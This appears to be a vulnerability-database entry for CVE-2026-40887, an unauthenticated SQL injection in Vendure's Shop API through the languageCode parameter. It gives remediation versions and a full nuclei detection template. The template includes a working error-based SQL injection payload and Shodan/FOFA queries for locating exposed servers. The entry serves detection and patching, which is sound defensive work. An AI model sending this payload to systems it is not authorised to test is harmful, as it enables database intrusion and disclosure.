HexBrain

Browse / CVEs / CVE-2026-40887

CVE-2026-40887· CWE-89

Vendure Core - SQL Injection

criticalseverity
9.1CVSS score
1.8%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

Vendure, an open-source headless commerce platform built on Node.js/TypeScript, contains a critical SQL injection vulnerability in its Shop API. The languageCode query parameter is interpolated directly into a raw SQL CASE expression in ProductService.findOneBySlug without parameterization or input validation, allowing unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database disclosure and denial of service.

Fix

Upgrade @vendure/core to version 3.6.2, 3.5.7, or 2.3.4 or later, which add input validation and parameterized queries for the languageCode parameter.

How to confirm it

Send: POST /shop-api
Positive when: contains(header, "vendure-auth-token") and contains(body, "\"data\"") and status_code == 200
Send: POST /shop-api?languageCode=en'+AND+EXTRACTVALUE(5202,CONCAT(0x5c,(SELECT+MD5('{{num}}'))))+AND+'ptic'%3d'ptic
Positive when: contains "c8c605999f3d8352d7bb792cf3fd" and "\"product\":" AND status 200

Run it with nuclei: nuclei -id CVE-2026-40887 -u <target>

The full check
id: CVE-2026-40887

info:
  name: Vendure Core - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Vendure, an open-source headless commerce platform built on Node.js/TypeScript, contains a critical SQL injection vulnerability in its Shop API. The languageCode query parameter is interpolated directly into a raw SQL CASE expression in ProductService.findOneBySlug without parameterization or input validation, allowing unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database disclosure and denial of service.
  remediation: Upgrade @vendure/core to version 3.6.2, 3.5.7, or 2.3.4 or later, which add input validation and parameterized queries for the languageCode parameter.
  reference:
    - https://github.com/advisories/GHSA-9pp3-53p2-ww9v
    - https://github.com/vendurehq/vendure/security/advisories/GHSA-9pp3-53p2-ww9v
    - https://github.com/vendurehq/vendure/commit/3ff0bc1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-40887
    epss-score: 0.01762
    epss-percentile: 0.78213
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.header:"vendure-auth-token"
    fofa-query: header="vendure-auth-token"
  tags: cve,cve2026,vendure,sqli,unauthenticated

variables:
  num: 999999999

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /shop-api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"{ __typename }"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "vendure-auth-token")'
          - 'contains(body, "\"data\"")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /shop-api?languageCode=en'+AND+EXTRACTVALUE(5202,CONCAT(0x5c,(SELECT+MD5('{{num}}'))))+AND+'ptic'%3d'ptic HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"{ product(slug: \"a\") { id name } }"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3fd'
          - '"product":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from